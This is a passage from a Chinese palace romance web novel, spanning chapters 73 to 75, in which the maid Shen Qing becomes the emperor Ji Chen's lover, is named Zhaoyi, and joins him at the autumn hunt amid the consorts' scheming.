他的眼中不是平日的冷淡,而是恣肆中透着神秘。 就那么看向她。 沈青的手不可置信放到她润泽的唇珠上,用力壓扁,眼底剧烈震荡。 他他他,不仅把她的话听进去了,还专择了今日! 早上的日出不过是开胃小菜,真正的大餐在这儿等着她呢。 怪不得纪宸能忍到现在,原来早有筹谋。 沈青是对那事有些抗拒,纪宸親的入迷起来根本不懂克制,更不用想他在床上会混蛋成什么样子。 所以她能拖就拖,坚决不主动引着他惦记那事。 但现在不同了,沈青很清楚,她是垂涎纪宸男色的。 而且时机成熟,该发生什么都很水到渠成。 心中的那丁点抗拒在这一刻也消弭了 沈青唇眼波流转,唇邊漾起笑意:“陛下,我好喜歡你啊。” 她动人的话是张口就来,但看着她真诚的眼眸,没有人会怀疑这句话的真实性。 纪宸揉了揉她毛茸茸的脑袋:“起来吃长寿面。” 白樱上前,侍奉沈青梳洗。 待坐到桌前,一碗热腾腾的面端到沈青面前,她这时方觉得饿了。 她看了一眼长寿面,发现和未入宫前吃的没什么不同,便挑起面条一端,不急不慢地从头吃到尾。 没人会嫌寿命太长。 将一整碗面吃完,纪宸问她:“还饿吗?” 沈青摇了摇头,已经七分饱了。 纪宸的手放到沈青的手上,很自然道:“那便安置吧。” 沈青看了一眼天色,没拒绝:“我要先沐浴,陛下可以在床上等着我。” 纪宸眼底一暗:“朕陪你一起。” 沈青有理有据溫言和他商量道:“如果陛下去泡池子了,那这衣裳怎么辦,我喜歡陛下这个样子。” 而且她聞到了纪宸身上的清香,是沐浴后才有的。 两人都知道接下来会发生什么,但仍是守礼且含蓄的。 沈青的睫羽忽闪,覆住眼中 的神色,但淡红的脸颊与被抿了又抿的唇顯出她并不是那么平静。 纪宸没有逼她,拿了一本书握在手里打发时间。 书被他翻到上一次看到的地方,沈青见他不无聊便放心地去泡汤池了。 寝宫这里的汤池引的是溫泉水,可以疏筋解乏,她在里面呆了小半个时辰并被侍奉着弄幹了头发才起来。 临走时,沈青见到一旁放着的酒,就这样迈不开腿了。 按照上次她喝了一杯酒一盏茶的功夫便清醒了……她拿起酒壶,嗅了嗅,跟上次喝的酒味差不多,便倒了两杯饮下才去找纪宸。 “怎么这么慢?”纪宸凝神,在人踏进来时便出声询问,只是还未等他有什么表情,便见沈青提着裙摆翩跹地到了他跟前。 沈青细细打量了他一眼,歪头疑惑:“不慢啊,你书才翻了一页。” 她伸手指了指纪宸握了許久的书,还不待她细细说出他剛剛看的是哪一页,上面写了什么时,纪宸已经将书放下了。 沈青遗憾地哎了一声。 纪宸的目光落到她的脸上,默默磨牙,他没法凝神静气还不是因为她吗? 磨磨蹭蹭现在还捉弄他,真是个小坏蛋。 感受到纪宸的视线,沈青看向他,目光纯然而大胆。 丝丝甜酒在空气中飘香。 “你喝酒了。” 沈青聞言大惊,自不会承认,这样实在是太灭她的威风了,难道她还需要用酒来壮胆吗? 她抿唇闭气,似乎想把酒气锁在嘴巴里。 眸光略带了些挑衅地看向纪宸。 纪宸伸出手,轻轻掐上沈青因为嘴巴抿起而显得格外柔軟的脸蛋,接着指腹就移到沈青的唇上,将她的唇瓣分开,趁她愣神的时候手指已经沾上了一片晶莹。 沈青慢吞吞反应过来,含也不是,推出来也不是。 更讓人脸红的是,他还又壓了压! 纪宸长长的睫毛压下来,眸中晦暗不明,蕴着潮涌,他倾身到沈青耳畔,声音很浅:“青青很漂亮。” 潋滟薄红的眼尾,嫣红柔軟的唇舌,湿润的口腔,与他粗糙手掌形成鲜明对比的漂亮小脸。 亦显得分外色气。 沈青轻咳一声,客气道:“你,你也不差。” 趁着酒劲儿还没过,她利索地攀着纪宸的胳膊爬到他身上,中途碰到了什么,自是习以为常忽略, 她的胳膊环着他的脖子,请求道:“你不要脱衣裳好不好?” 如果不喝酒,她绝对不会这么直白。 她的柔软隔着薄薄一层寝衣肆无忌惮地贴到纪宸身上,头埋进他的颈窝。 沈青不觉得这个要求对纪宸很过分,她想让纪宸衣冠楚楚来迎她。 “好,但得看着朕。”纪宸略作思索。 “不許移开眼,也不许咬唇。” 酒劲儿在纪宸的手落到她身上时,已经去的差不多了,沈青闻言鬆开咬着的唇珠,心中纳闷,她的脸明明都埋到纪宸的颈窝了,他怎么知道。 接下来,纪宸确实遵守了承诺,沈青在他的手掌下软成了水,迷离的目光一下又一下落在纪宸的星眸高鼻,身上汗涔涔的,铺在脊背上的头发有几缕已经湿了。 纪宸没褪衣袍,堆叠在两人之间。 粗重的喘息声,咿呀的叫唤声,与其他一些声音响了一整夜。 …… 闹了一晚上,破晓时分,两人才不着寸缕依偎在被子下一起睡下。 沈青是在下午醒的,醒来时身邊已经没人了。 她没有立刻有动作,因为身体是别扭且奇怪的。 不过很幹爽,闹到最后,纪宸抱着她去汤池草草浸了水,擦干后才睡的。 沈青懵了一会儿,低头查看起身上的痕迹,由于昨晚纪宸是由轻到急的,她并没有感受到多少疼,便沉浸在其中,所以沈青犹豫了一番,将禽兽二字咽了下去。 她的腰上还留着纪宸的指痕,其他几處地方更不用说,都是重灾区。 而她没力气,就只叼着纪宸的肩膀不鬆口,留下了一排牙印。 纪宸感受到疼,反而激起了血气,越发重起来,而沈青不想丢人地唤出声,自然死死咬住。 最后她也不知道她怎么松嘴的,只记得去了半条命。 沈青越回味越羞赧。 同时也意识到了纪宸昨天为什么任由她睡了一整天,合着全留给了夜里。 若是平常,她早就困了,但她刚睡醒,只吃了一碗面,这叫她怎么困? 白桃上前:“姑娘醒了,可要起来用膳?厨房已经备下了膳食。” 沈青点了点头,让白桃去取衣裳过来。 昨天的寝衣,早不知道揉到哪儿去了。 待起了身,洗漱过后便见到纪宸不知什么时候进来了。 沈青没忍住,似怨非怨地嗔了他一眼。 纪宸今天的面容,明明与昨日没什么不同,但就是能让人感受到他是舒畅的。 沈青猜测,他可能真的憋久了。 毕竟之前她才不会体贴这种事,用手什么的这跟欢好有什么区别? “朕来找你一起用膳。”纪宸唇角不自觉勾起,伸出手等沈青牵上来。 沈青忸怩了一下便将手放上去,问道:“皇上没有用膳?” “略用了些,怕你一个人觉得闷,再陪你用一些。” 沈青被取悦到了,面上柔软,唇角弯出了弧度。 用过膳,因为纪宸在沈青睡觉的时候便将堆积的折子批完了,现下无什么事,自然拉着沈青温存。 沈青身上几乎散架了,出不了门,便也只能和纪宸厮混起来。 只是親亲碰碰,并不过分。 一根手指从纪宸的额头往下蜿蜒,经过鼻骨,薄唇,又沿着下巴落到他的喉结处。 纪宸捉住她的手,目光幽幽:“别逗朕了。” 沈青自恃着他不至于那么混蛋,搞她一个还没缓过来的人,便低头亲了亲喉结,抬头得意地看向他。 纪宸这时自然拿她没辦法,但他道:“早上朕给你涂了药,料想会好得很快。” 他看向她,欣赏着沈青身子一僵,接着讨好地冲他笑了笑。 纪宸的胸膛溢出一声愉悦的轻笑。 第73章 第73章宫女七十三日 一連数日,沈青都没怎么出门,至多是抱着猫在亭子内順一会儿毛。 只要身子稍好,纪宸闻着味就开始宽衣解带了。 沈青也不知道他的时间怎么安排的,明明每日送来的折子不少,他也需批阅,但仍能留出许多时间来陪她。 而她,光是睡两觉,时间便从指尖溜走了,七月初看的那本书,七月中旬还没看完。 沈青端详着铜镜中的自己,因为纪宸发浑,竟讓人夜里备了補气血的参湯,她中间脱力时,便用手扶起她的臉,喂给她喝。 还言辞振振道:“朕觉得青青并没有尽兴。” 非要到她手指都乏力时才輕吻着放过她。 不知是参湯喝多了缘故,还是什么,铜镜中的女子并没有因为蜡烛燃到了半夜而日渐疲惫,反而悄然丰腴了许多。 比如臉頰上的弧度明顯起来了一些。 沈青微微侧臉,日光洒下,更顯得她肤若凝脂,細腻光洁。 纪宸应是喜欢的,不然也不会爱不释手地抚着她的脸。 这日,沈青的神态輕松了许多,唇邊是怎么也藏不住的笑意。 白桃悄然抬头看了一眼,心脏便不听使唤的砰砰乱跳。 以前沈青美是美,但就如一幅画,静静观赏便能心生愉悦,但现在一颦一笑都像带上了小勾子,抓得人心痒痒,与她对视一眼,便 会觉得她满心满眼都是你。 好像看谁都深情……哦,不,是看皇上深情,看猫是真诚。 虽然白桃觉得好像没什么区别。 见沈青进来,纪宸抬眼,唇邊漫起了笑容:“许久不见你来主动找朕了。” 这些天沈青都恨不得躲他远远的,更遑论来找他了。 不过想到早上沈青身下的湿濡,与她懵过之后惊喜的目光,以及被告诉了女子来葵水是什么意思后,纪宸便明白她来找他的倚仗了。 沈青笑嘻嘻道:“想陛下了嘛。” 只字不提之前为何主动避着,现在又要来招惹。 坏心思简直昭然若揭。 而纪宸恰好有所准备,他本想讓人将補血的湯直接给沈青送去,葵水没来尚且喝一碗,现下失了那么多血,不好好补补又瘦了怎么行。 纪宸没有废话,直接拉住沈青的手,不叫她轻易走。 “将汤端上来。” 沈青顿感不妙,她可不想喝什么汤,再好的滋味連着喝也有些腻了,更何况那汤里面好东西多,极易发胖,现在的她身姿曼妙的恰到好处,减一分则瘦,增一分则肥。 “陛下,我突然想起来还有些事得去忙。”沈青眼尾一垂,放软了语气,用弱弱的目光看向他。 纪宸越是见她卖乖,就越是在心里打定主意不放她走。 “不急,喝了再去也不迟。” 说话间,一碗汤已经被端了上来。 纪宸亲自端起来递到沈青唇边。 沈青自知逃不掉了,接过来喝了两口,听到纪宸在旁边提醒着要喝干净,她气闷不已,还是老老实实的喝完了。 并叫纪宸看了一眼,这才放下。 她委屈到垂眼,蔫了一般闷不做声。 纪宸环住她的腰,见状自是要哄:“朕拟了一道聖旨,过来看看合不合心意?” 他示意钱继,将准备好的聖旨取出来。 沈青心想,这有什么合不合心意,亦沉浸在沮丧中,并未预料到什么。 直到圣旨被打开,她扫了一眼,猛然顿住。 这是一道封嫔妃的旨意,上面还落着她的名字,她的目光迅速往后掠去,最终在昭儀二字上停下来。 她不可置信地捂住嘴巴,居然不是贵嫔? 而是妃位以下第一人的昭儀! 这未免也太轻易了。 纪宸打趣道:“沈昭仪乐傻了?” 沈青弯起唇,眼中是喜极而泣的惊喜泪光,整个人都生动了起来,她捏着纪宸的袖子,迟疑道:“会不会太高太过了?” 她不怕成为别人的眼中钉,纪宸的宠爱若一直在她身上,那她位份再低其他人也不会忽略她,相反,她位份高了,反而能震慑一部分人。 位份差距过大,会叫人连争的心思都没了。 纪宸伸手抹去沈青眼角的湿润:“朕有思量,不高。” 他原本就不会容忍后宫的局势一直不变,不是沈青,他也会提拔一名有宠无势的人成为高位嫔妃。 这个人是沈青,只会分外合他心意。 只是昭仪,已经是纪宸左思右量的结果了,连原本早已选定的封号都没给,就是忧心着有人容不了。 这个位份恰好踩在一些人忌惮却又不好孤注一掷的那条线上。 也许在旁人眼中,他宠沈青是故意为之,反而会犹豫不决起来。 纪宸拍了拍沈青的背:“怕嗎?” 沈青摇了摇头,依偎着纪宸:“当您的嫔妃有什么好怕的,这明明是世间最好的富贵窝,我高兴还来不及呢。” 这话确实真心,她幼时也享受过家中富庶的滋味,成了嫔妃,只会更尊贵。 只要纪宸还喜欢她,她便会一直安然,等生下皇子或公主,在这后宫便稳固了,有了立足之地。 而身为昭仪,能给她甩脸色的就那几位,其他人,即便再看不惯,还不是得和她好声好气说话? 她再也不必休息还要寻不当值的时候,也不需要避免在外面撞上其他嫔妃,亦不用担心姿容样貌给她招惹祸事。 她可以早上看看书弹弹琴,下午逛一逛御花园,泛舟游湖,也能有自己的小厨房,想吃什么吩咐一声就可以。 唯一值得担忧的就是生子,这对任何女人来说都是凶险万分的事,但就纪宸这样的播种率,不是她想贬损他,兴许还远着呢。 待到身子骨壮了,她再要一个孩子,孩子也有嬷嬷带,她喜欢了就抱抱,不喜欢就做自己的事。 既如此,当昭仪是什么很差的事嗎? 后宫多少嫔妃求都求不来呢。 见沈青的嘴角越翘越高,纪宸心里好笑,询问道:“你在想什么?” 沈青抬头看他,眼中的喜悦显露无疑,声音很甜道:“感念着多亏父母给我生了一副好相貌,才得以让陛下看中。” 纪宸多么想说他并非见色起意,只是一时的好胜心作祟,却在不知不觉中越陷越深。 不过后者也没什么好说的,只会暴露他的幼稚。 纪宸好整以暇看向她:“朕是这么浅薄的人嗎?” 沈青眨了眨眼,眼中迷茫,不是吗? “当然不是!陛下一定是觉得这个姑娘太好了,才相中的。” 她只是略略夸耀了自己,双頰便染上了粉意。 纪宸稀罕不已,当即亲了一下她的脸颊,让她坐在自己腿上,就这么抱了一会儿。 “圣旨回宫后便会昭告,在回宫之前,你都跟朕在一起。” 沈青问:“那秋狝我也和陛下一起吗?” “自然,不过朕去狩猎,你就呆在皇帐中,没有朕陪着,你不要深入山林。” 她保证道:“您还不放心我吗?我也只会在平坦的地方稍微跑一跑马,甚至没有独自骑过您的疾奔。” 纵然纪宸的疾奔非常温順,但这种大马对沈青来说还是很危险,非必要她都不碰。 纪宸抱着她,箍着她纤細柔软的手臂感叹道:“你是个小心谨慎的性子。” 沈青默默腹诽,不是小心,她只是怕麻烦。 直到八月初,在避暑山庄这些日子,纪宸除了按照规矩去皇后那里外,再没翻过牌子。 这叫人抱怨都不知道怎么抱怨,毕竟皇上也是守了规矩的。 而请太后出面更不可能了,不说六月底那一出,单说避暑山庄的嫔妃里,也没有值得她老人家出面的,贤妃又在宫中。 至于皇后,皇上这样做,不更凸显了对皇后的禮待吗? 且沈青是皇后的人,沈青风头正盛,皇后也没理由折她的面子。 临近离开避暑山庄前往秋狝的日子,因沈青仍是宫女且呆在皇上的地盘,嫔妃们根本接触不到,便摩拳擦掌等回宫再试个深浅。 回了宫,皇上总不会扣着人不封吧,既是嫔妃,依着规矩也得向高位请安。 秋狝的场地已经提前圈好,距离避暑山庄不过半日路程。 皇后提前一晚来跟皇上商量相应事宜,商量过后,皇后在走时碰到了沈青。 沈青一愣,还未行禮便被皇后握住了手。 “不必多礼。” 【沈青今时不同往日,本宫得笼络住她。且皇上在我临走时,往窗外望了一眼,约莫会对这里的动静了如指掌。】 【我不能失了贤惠。】 沈青的感动还没落到实处,便听到了皇后冷静的分析,一时心绪复杂。 但她仍抬头,朦胧着一双泪眼看向皇后,颇为感动道:“娘娘尊贵之躯,怎可这般待奴婢?” 皇后听着沈青的话,一时觉得顺耳了不少:“你能得皇上喜爱,便证明你很好,切不可妄自菲薄。” 她这时才细看了下沈青的模样。 不过四五十天,容貌更盛了不说,气势也发生了翻天覆地的变化,尊贵中掺杂着淡淡威慑。 许是她自己都没发现,这种变化很显然是跟皇上呆久了才产生的。 气势这种东西短时间内不会受到浸染,需是跟皇上日日吃用住都在一起才行。 皇后不愿再细想。 沈青忽略皇后内心此时的想法,这里人多眼杂,不好提起香膏的事,便表忠心道:“奴婢一直在念着娘娘。” 意思是她会为皇后所用。 本来她就是皇后推出来的人,若真对皇后翻脸无情,才给了旁人攻讦她的理由。 皇后闻言满意扬起一丝笑,拍了拍她的手:“你的心意,本宫明白。” 这是她原本所求的事,只是过程连她都震惊了,心里才有些不爽。 但真将沈青 推走,她又舍不得。 沈青羞涩低头,认同了皇后的话。 殿内走到窗旁的纪宸面无表情收回目光,沈青太看重皇后了,甚至胜过于他。 这不好。 当晚,因为觉得明日启程,必不会劳累了的沈青刚躺下,腰肢上便探来了一只手。 沈青欲哭无泪地看向纪宸:“陛下,明天需要您裁决的事很多,不如今夜好好歇息,养足精神?” “朕现在精神过好,得消耗一通才能歇息。”说着,他抵着沈青的后腰,让她贴近他。 这一晚,蜡烛仍燃了许久,直至沈青被纪宸要求着说出陛下最勇武了这种羞人的话,才被放过。 沈青靠在纪宸的臂膀上,贴着他累到昏睡过去。 压根没意识到这人是在耍性子。 纪宸垂眼看向沈青,和每次结束那样吻了吻她的额头。 第74章 第74章宫女七十四日 沈青醒来时,已经不在熟悉的床上,她往床外扭了扭头,便见一道屏风竖在那里,挡住了外间的窥探。 便明白这已经是第二日,去往猎场的路上。 她低声呢喃:“禽兽。” 纪宸惯会装模作样,昨晚也是,不见笑的模样,眸底冷淡,却干着最让人愤慨的事,最后还要她承认那样的话。 沈青想着那是纪宸学的新花样,将脑海中不由自主浮起的片段勉强压下去。 白桃在沈青醒来的时候便要过来,然习武之人都听力惊人,忽然听到禽兽二字,不必明说,便知道是斥骂皇上的,便踌躇了一会儿。 旁人这般骂自然是胆大包天,但换做沈青,即便是当着皇上的面嗔怒,那也是在调情。 待装作没听到什么,白桃上前询问道:“姑娘,可要起了?” 臉上的温度刚降下来,见到白桃淡定的目光,沈青又不自在起来:“过一会儿吧,让我缓缓。” 话甫一出口,她便觉得不妥,奈何收不回来,只能故作镇定。 白桃了然,先去准备洗漱用的水。 都已经离开了避暑山庄,沈青这才记起,起初她还想学泅水,但一直没什么机会,在皇后的水芳岩秀时闭门不出,到了纪宸那里,光是騎马射箭都占据了她的闲暇时间,加之有了白桃白櫻这两人,就更没有危机感了。 回了宮,一些该有的谨慎就得尽快拾起来了。 想罢,沈青便起身了。 从屏风后出来,沈青并未见到纪宸,听白桃一说,才知道纪宸今日是騎马的,便掀开窗帘偷偷看了一眼才放下。 车架前,纪宸身穿银黑甲胄騎着疾奔,黑发冠起,身姿挺拔,目視前方,强烈的日光洒下,衬得他双眸深邃威严,不可直視。 纪宸感受到快速划过他臉的视线,回头一看,发现窗帘微动,便明白是谁了。 除了沈青,大约也没谁敢将目光落到他臉上。 纪宸继续往前看,更加笃定沈青喜欢他的脸,每每那事时她的目光落到他的脸上,她的感觉就来得很快。 比起说他见色起意,分明是她喜爱好颜色而不自知。 纪宸在心中默默给沈青记上一笔。 下午申时初,浩荡的队伍抵达猎场,开始安营扎寨。 沈青在銮驾上等了一会儿,待小太监引她下去,她才帶着白桃白櫻往皇帳那边走去。 后宮嬪妃的帳篷多围绕在皇帳附近,只是帳篷略小,但仍是宽敞的。 就这么会儿功夫,沈青便见到了不远处的玉嬪,玉嬪似也瞧见了她,冲她遥遥笑了笑。 沈青便不能装作没看见了,朝她的方向服了一礼才进皇帐中。 皇帝住的帐篷分为前后两部分,前部分用来议事,后部分则是歇息安寝的地方。 现下里面已经收拾妥当,俨然是一个小些的议事堂,进入到后面,沈青的目光扫过架子上的弓箭,移向置于中间的错金螭兽香炉,与后面紫檀木的龙榻。 其余物件也一应俱全。 甚至于她打发时间的东西也在。 小太监笑着道:“姑娘您的马也帶来了,猎场有专为女眷们设的马场,可以在那里跑马射箭,也不会有什么危险,皇上嘱咐奴才告知您一声,晚上皇上会设宴,回来的興是会晚,让您先歇下。” 沈青点头:“大虎呢?” 小太监听到小貓的名字仍是觉得割裂,他连忙道:“帶着呢,奴才这就让人将御貓给您送来。” 这只纪宸带回来的小貓,在御前地位直升,现下已经算半个小主子了。 沈青过会儿想出去转转,猎场的景色宜人,总闷着也不好,为了避免麻烦,带着御貓狐假虎威是最好的选择。 宮女的身份现在还是太低了,上不了牌面,但旁人一见大虎脖子上挂的牌子,便明白这猫是谁的了。 也会顾忌一些。 沈青知道嬪妃里有许多看不惯她的,当下也不耽搁,趁着其他人还在休整,她接到猫抱在怀里便带着白桃白樱出去了。 猎场处的风景秀丽,旁边便是山林,沈青去了小太监提到的马场,马场里侧还有供人歇息的地方。 她今天明顯不适合騎马,興许得等到后日才行,于是也不强求,边吃糕点边顺毛。 马场里的女眷很少,且与沈青相距甚远,她惬意地眯了眯眼。 沈青知道会遇见人,但没想到第一个朝她走来的竟然是宣贵人。 宣贵人初进宫便是贵人,又有封号,家族常出皇后,入宫时确实惹得不少人侧目,但进了宫后却泯然眾人矣,恩宠不多,平日里也安安靜靜,几乎让人忘了她这号人。 但现在,宣贵人却来找她了。 沈青心中疑惑,起身准备朝她行礼,却被宣贵人眼疾手快地拦住,甚至于头上的坠子都剧烈晃动了一下。 宣贵人微笑道:“妹妹不必多礼,我不是有意打扰妹妹的雅興,只是方才惊鸿一瞥,竟不知不觉跟着妹妹走到了这里。” 景明四年的新妃入宫也有沈青的操办,沈青不意外宣贵人能记得她,只是不知道她的目的是什么。 这般温和,应不是来寻衅的。 沈青羞涩低头:“贵人谬赞了。” 宣贵人见此愈发和善,望向马场,询问道:“妹妹喜欢骑马?” 沈青大方承认:“是觉得新奇有趣。” 宣贵人回望她道:“不如我带妹妹去挑一匹马,我雖然对骑射不太精通,但略知些相马的技巧。” 沈青抚着猫委婉拒绝道:“奴婢今日没有穿骑装,还侍奉着猫主子,恐怕不太妥当,多谢宣贵人的美意。” 宣贵人的目光落到猫上,只见小猫脖子上挂的与它体型适配的金牌子在阳光下熠熠生辉,上面的字迹雖不清楚谁写的,但很熟悉,字旁边落下的印章就很清楚明白了。 这是皇上的猫。 宣贵人的眼中露出几分慎重,知道自己这步棋走对了。 沈青确实圣眷正浓。 “你瞧我,说了这么些话也忘了坐下,连累妹妹也站着……妹妹一同坐下,不要累了身子。” 沈青掩下眼中的探究,重新坐下。 因手边放的是一壶花茶,两人便就此聊了起来。 沈青学过泡茶,便对此感兴趣了些,而宣贵人则是精通茶道,什么都了解,什么都会学一点的大家闺秀。 不过一刻钟,两人便其乐融融起来。 沈青也稀奇,宣贵人这样的出身,竟没丝毫看不起她来,且是打着与她交好的目的。 她原以为不被冷嘲热讽便是好的了,但疏忽了后宫中人审时度势的本事。 这般看来,先前见 到玉嫔,玉嫔的态度也不是那么匪夷所思了。 沈青与宣贵人交谈甚佳,宣贵人甚至约定了下次见面的时间。 沈青自是浅笑应下。 无论宣贵人抱着什么目的,时间一久自然能看出来,她不会拒绝这类社交,不然这跟把自己双耳堵住有什么区别? 两耳不聞窗外事已经并不适合她了。 她迫切想要理清嫔妃间的关系。 两人分别后,沈青回到皇帐,用了膳便早早歇下了。 晚上,纪宸从宴席上回来时还在问沈青今日去了哪里,遇见了什么人,宣贵人的名号一出,他想了一会儿才记起这是谁。 实在是去年进的嫔妃太多,安静本分的他自然没什么印象。 进到帐中,只见床榻旁只留了一盏灯,纪宸抬手,钱继便噤了声。 钱继虽知道沈青有些懒散,但没想到她会在皇上没回来之前就先歇下了,虽是皇上让人给沈青带了话,但换做任何一个人,都会等一等。 偏她当了真。 纪宸将床帐落下,才使人进来侍奉。 待收拾好,纪宸刚躺下,一旁的人便熟门熟路蹭了过来,两人一起睡得久,沈青原本规矩的睡姿便一去不复返了。 纪宸看了她一眼,见她睡得正熟,便伸出手臂让她枕在上面。 并流露出一丝纵容。 翌日,皇帝需开弓,首射定威,沈青没见到那副场面,但听着林中眾呼的声音,便料定很顺利。 她望向山林的方向出神,宣贵人便也到了,两人笑着寻个地方吃茶。 沈青想明日再骑马,而宣贵人本就对骑射不感兴趣,便也没有去马场那边。 因此竟错过了楚贵人在马场上的飒爽英姿。 这还是沈青与宣贵人分别后从白樱口中听来的,沈青想起楚贵人清丽的模样,竟不知她骑术这么好,当真是人不可貌相。 沈青的骑术学的时间短,并不能做到很好,撞上楚贵人必会落入下风。 但她对楚贵人没什么嫉妒的情绪,毕竟话还没说上几句呢。 午膳沈青吃的是烤肉,在猎场最不缺的就是肉了,不过这是上午皇上猎了送回来分给嫔妃的,每个人都有,炙烤后被端了上来。 作为早早被内定了位份,少了谁也不会少了她的。 因为肉多,沈青便提前分给了白桃白樱,吃过后,还喝了解腻的汤才觉得舒坦了。 纪宸是下午回来的,甚至猎回来了一头熊和一只鹿,听聞就是遇见了熊,晌午才没回来。 他尽兴而归,一些宗室子弟却顯得灰头土脸,很明显,因为猎物少,被训了。 纪宸将狩到的猎物皮毛分给了太后、皇后与一众嫔妃。 沈青得到了几件皮子,其中最出众的要数那块亮红色的狐皮,她见到后便让白桃收了起来。 之后就是听闻纪宸着重赏赐了楚贵人。 他应是听到了楚贵人在马场上的英姿,不然不会突然念起楚贵人,看来他是鼓励骑射的,亦或者看重楚贵人的父兄。 但沈青觉得纪宸早不赏晚不赏,偏在这个时候赏,大抵是前者。 在纪宸进入帐中时,沈青止了思绪,弯唇迎了上去:“陛下今日好生威武,竟然猎到了熊!” “就是未能随着陛下,不知遇见熊时凶险不凶险。” 纪宸听到后很高兴,沉着道:“不凶险。” 其实是凶险的,他们被熊埋伏了,熊躲在林子后,冷不防窜出来,若不是疾奔够冷静,说不得会闹个人仰马翻。 但这话是不能说的,徒惹沈青担心不说,还有损他的形象。 沈青拿帕子忙碌地擦了擦纪宸脸上的汗,发现他甲胄下的衣裳都被汗湿了,心疼道:“陛下受累了,不如泡一泡,换一身衣裳也好舒服些。” 纪宸享受着沈青擦脸的动作,嗯了一声:“听你的。” 沈青闻言便牵着他去了屏风后放浴桶的地方。 热水早在纪宸狩猎回来时便准备好了。 第75章 第75章宫女七十五日 上有所好,下必甚焉。 沈青料想过因纪宸赏赐了楚贵人,会有人去学楚贵人那般骑馬,却没想到影响的何止嫔妃,朝臣的女眷都爱往馬場跑了。 不禁讓人猜想骑馬会在京中乃至天下掀起多大的风尚。 今日沈青是穿了骑装来的,却因马場人有点多又折了回去。 回到帳篷中,沈青哀怨地看了纪宸一眼。 纪宸泛起笑意问:“怎么了?” 他是知道沈青今天要去骑马的,昨晚缠着他要了个承诺,若是不给,她都要贴着床里睡了,他郑重承诺不碰她后,沈青这才高兴地靠了过来。 结果兴致勃勃去,败兴而归。 结合沈青对他的态度,很难不猜到原因。 沈青扁了扁嘴:“您还好意思问。” 她用食指点了点纪宸的衣襟。 纪宸捉住她的手,温言解释着:“朕无意败你兴致,朝中勋贵大臣都在猎场,朕有什么动靜传的很快,恰逢楚贵人展现出精湛骑术,朕若不嘉奖,怎能引起他们追捧骑术的风气?” “骑射能强身健体,无论男女都应該学一学。” 沈青仍是郁闷:“我不是说您赏赐楚贵人不对,只是好不容易身体恢复了,却不能好好玩一玩,难免失望。” 纪宸摸了摸沈青的头,奇道:“平常很聪明,怎么这时就笨了呢?” 沈青鼓起腮颊,不乐意地看向纪宸。 看着看着,她忽然露出温軟笑容:“那陛下能带我去林子里射猎吗?” 纪宸假意苦恼:“林子里猛兽很多。” 沈青一点都不信这话,纪宸早早就讓人将一些有危险的猎物撵出了猎场,第一天遇到熊后下令又检查了一遍,確保不叫人丧命。 且有纪宸在,光是护衛都有很多,更不必说纪宸親自上阵,怎会有危险? 纪宸没有立即否定,说明还有很大的寰转余地。 沈青軟着声音,冲纪宸笑的再甜不过了:“猛兽再多,只要有陛下在,就一定会安全无虞。您就答应我吧,我保证,跟在陛下身边一定听话。” “您忍心看我的期待落空吗?” 她大着胆子捧起纪宸的脸:“陛下,我知道您最好了。” 软乎乎的话落,沈青輕啄了下纪宸的薄唇,然后用润亮的乌曈期待地看向他。 纪宸面上矜持,眼底却漫起笑意。 沈青一看他受用的模样便知道成了,当下缠得更紧了,连着親了数下,叠声道:“好不好嘛好不好嘛~” 纪宸輕轻地嗯了一声。 沈青闻言,当即从纪宸身上下来,伸出手高兴道:“走吧陛下。” 纪宸握上沈青的手,着人去准备。 林子里的地势不平,纪宸是不会讓沈青自己骑马的,所以两人一起上了疾奔,拿上弓箭,往山林那边奔去。 进入林中,沈青神色认真,观察着林中的动靜。 纪宸没敢往不熟悉的地方去,索性去了他第一日去过的地方。 深入山林后,纪宸观察了一番,让疾奔慢了下来。 沈青还在找猎物,纪宸拍了拍她的背,伸出了食指。 顺着纪宸手指方向,沈青看到一只兔子隐在杂草后面正啃着草,肥美的身体一抖一抖的。 当下她便选定这只野兔作为目标,弯弓搭箭。 沈青本来瞄准的是野兔的脖子,却在箭矢放出去的那一瞬间,野兔一动,箭簇正好钉在了野兔的腿上。 野兔受疼,不敢在此处吃草,爆发出惊人的速度往反方向窜走。 纪宸本想帮她补一箭,奈何野兔本就离他们远,窜走后又有树挡着,竟没顺利射出那一箭。 沈青摸着箭筒里的箭羽,遗憾道:“损失了一只箭。” 纪宸:“有人看到箭上的标志,会送回来的,不必担心。” 沈青了然,她用的是纪宸的箭矢,上面自然也会有标志。 当下不再可惜,催促着纪宸再给她找一个猎物。 一上午的时间,两人带着侍衛游荡在山林里。 小些的猎物纪宸都交给沈青,在她射箭时还示意侍卫轻声,至于野猪之类的,还没接触到他们,便被纪宸一箭射中了,一箭不够再补一箭,確保倒在安全范围。 在避暑山庄的时候沈青就射过在林中跑的猎物,一般跑的不太快,或是就在那儿吃草的猎物,她很轻易就能射中。至于急速奔跑的,就非常考验眼力和反应力了,她是差上許多。 她在射艺上大约是有些天赋。 若是她射得稀烂,纪宸恐怕也不会饶有兴味的陪着她,甚至直到中午两人方回去。 沈青玩的兴致高昂,只是骑马时间一长,双腿就抖,她下来时险些站不稳,一头栽进纪宸怀里。 以及一双胳膊是抬不起来了,精力也被消耗一空。 “高兴吗?”纪宸扶住她,询问道。 沈青露出累极后的淡笑,点了点头:“有陛下在,做什么都是高兴的。” “不真心。” 沈青发誓,再没有比这句话更真心了,有他在,确实免除了一些麻烦,在她还没发现野猪动静时,纪宸便两 箭将其射杀,那时她就想,幸好有纪宸在。 沈青委屈道:“我这句话最真心了,若是没有您,今日我不知道該受惊多少次了。怎么会不高兴呢……您又逗我。” 她愤愤起来,抬起酸累的胳膊,推搡了纪宸一下。 纪宸自不会被没什么力气的她推动,反而笑道:“是朕不该逗你。” “那……下不为例。” “好。”- 嫣婕妤没想到刚出帳篷便碰到了这一幕,她从没见过皇上这般好声好气对一个人说话,甚至对女子的埋怨也好脾气的反思自己。 这还是皇上吗? 入宮一年多,嫣婕妤自认早已摸清了纪宸的脾性,知道他内里的淡漠薄情,他的心,需要慢慢暖,所以她不急着要一个孩子。 宮里的母子大致分为两种,一是母凭子贵,二是子凭母贵。 多聪明的孩子才能是前者,而后者只需努力让皇上十几年如一日的记住她便可以,所以嫣婕妤希望她的孩子能因她而尊贵,她也在为此而努力着。 但是突然冒出的沈青打乱了她的筹谋,若没有沈青,兴許在避暑山庄,她和皇上的感情就能更进一步。 明明之前皇上是对她上心了。 譬如说,生了二皇子的何才人皇上都得思索一会儿才能记起是谁,但对于她、玉嫔、楚贵人都能不假思索叫出名号。 嫣婕妤转身回了帐篷。 